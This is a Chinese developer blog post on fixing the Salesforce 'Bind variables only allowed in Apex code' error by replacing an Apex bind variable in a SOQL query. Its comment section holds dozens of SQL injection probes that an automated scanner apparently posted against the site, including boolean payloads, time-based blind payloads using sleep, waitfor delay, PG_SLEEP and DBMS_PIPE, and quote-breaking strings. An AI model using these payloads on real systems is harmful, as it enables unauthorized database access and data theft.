Bind variables only allowed in Apex code错误的解决方法
2023年09月26日
文章浏览:2869
现象:发生【Bind variables only allowed in Apex code】错误

因为是使用Ajax Tookit来查询数据,所以直接用Console.log把SOQL的内容打印出来确认问题。



原因:SOQL不是能够执行的字符串

果然原因很简单,就是变量是如下格式,这是在Apex代码中才能执行的,

到了AjaxToolkit里面,肯定要替换成字符串才可以。

MapTech__GyouseiKubun__c = :defaultGyouseiKubun


下面是SOQL语句的全部内容

Select Id ,MapTech__POLYGON_LatLngInfo__c ,MapTech__LineColor__c ,MapTech__FilColor__c ,MapTech__LayerFilOptically__c 
From  MapTech__DrawingManager__c  
Where MapTech__GyouseiKubun__c = :defaultGyouseiKubun And  
MapTech__DeleteFlag__c = false  
ORDER BY CreatedDate LIMIT 50000 


同理,在开发者控制台查询的时候,偶尔也会出这样的错误,如果我们没有把SOQL写完整的话



修正后:所有现象恢复正常。


Select Id ,MapTech__POLYGON_LatLngInfo__c ,MapTech__LineColor__c ,MapTech__FilColor__c ,MapTech__LayerFilOptically__c 
From  MapTech__DrawingManager__c  
Where MapTech__GyouseiKubun__c = 'null'  And  
MapTech__DeleteFlag__c = false  
ORDER BY CreatedDate LIMIT 50000 

关注 收藏
2026年07月15日
555
回复
2026年07月15日
555
回复
2026年07月15日
555
回复
2026年07月15日
-1 OR 5*5=25 --
回复
2026年07月15日
-1 OR 5*5=26 --
回复
2026年07月15日
-1 OR 3*2>999 --
回复
2026年07月15日
-1 OR 3*2>5 --
回复
2026年07月15日
-1 OR 5*5=25
回复
2026年07月15日
-1 OR 5*5=26
回复
2026年07月15日
-1 OR 3*2>999
回复
2026年07月15日
-1 OR 3*2>5
回复
2026年07月15日
-1' OR 5*5=25 --
回复
2026年07月15日
-1' OR 5*5=26 --
回复
2026年07月15日
-1' OR 3*2>999 --
回复
2026年07月15日
-1' OR 3*2>5 --
回复
2026年07月15日
-1" OR 5*5=25 --
回复
2026年07月15日
-1" OR 5*5=26 --
回复
2026年07月15日
-1" OR 3*2>999 --
回复
2026年07月15日
-1" OR 3*2>5 --
回复
2026年07月15日
-1' OR 5*5=25 or 'bLucOH16'='
回复
2026年07月15日
-1' OR 5*5=26 or 'bLucOH16'='
回复
2026年07月15日
-1' OR 3*2<5 or 'bLucOH16'='
回复
2026年07月15日
-1' OR 555=555 or 'bLucOH16'='
回复
2026年07月15日
-1" OR 5*5=25 or "9X7B1KbA"="
回复
2026年07月15日
-1" OR 5*5=26 or "9X7B1KbA"="
回复
2026年07月15日
-1" OR 3*2<5 or "9X7B1KbA"="
回复
2026年07月15日
-1" OR 254=254 or "9X7B1KbA"="
回复
2026年07月15日
555*if(now()=sysdate(),sleep(15),0)
回复
2026年07月15日
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
回复
2026年07月15日
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
回复
2026年07月15日
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
回复
2026年07月15日
555-1; waitfor delay '0:0:15' --
回复
2026年07月15日
555-1); waitfor delay '0:0:15' --
回复
2026年07月15日
555-1)); waitfor delay '0:0:15' --
回复
2026年07月15日
555-1 waitfor delay '0:0:15' --
回复
2026年07月15日
555RKXHPFUI'; waitfor delay '0:0:15' --
回复
2026年07月15日
555KydBzIRQ'); waitfor delay '0:0:15' --
回复
2026年07月15日
555CYDnr51u')); waitfor delay '0:0:15' --
回复
2026年07月15日
555-1 OR 556=(SELECT 556 FROM PG_SLEEP(15))--
回复
2026年07月15日
555-1) OR 109=(SELECT 109 FROM PG_SLEEP(15))--
回复
2026年07月15日
555-1)) OR 170=(SELECT 170 FROM PG_SLEEP(15))--
回复
2026年07月15日
555xtwAMAsm' OR 536=(SELECT 536 FROM PG_SLEEP(15))--
回复
2026年07月15日
555wV1DFH3r') OR 448=(SELECT 448 FROM PG_SLEEP(15))--
回复
2026年07月15日
555R4NDQ1yU')) OR 307=(SELECT 307 FROM PG_SLEEP(15))--
回复
2026年07月15日
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
回复
2026年07月15日
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
回复
2026年07月15日
555
回复
2026年07月15日
555'"
回复
2026年07月15日
555????%2527%2522\'\"
回复
2026年07月15日
@@oh5wC
回复
2026年07月15日
(select 198766*667891)
回复
2026年07月15日
(select 198766*667891 from DUAL)
回复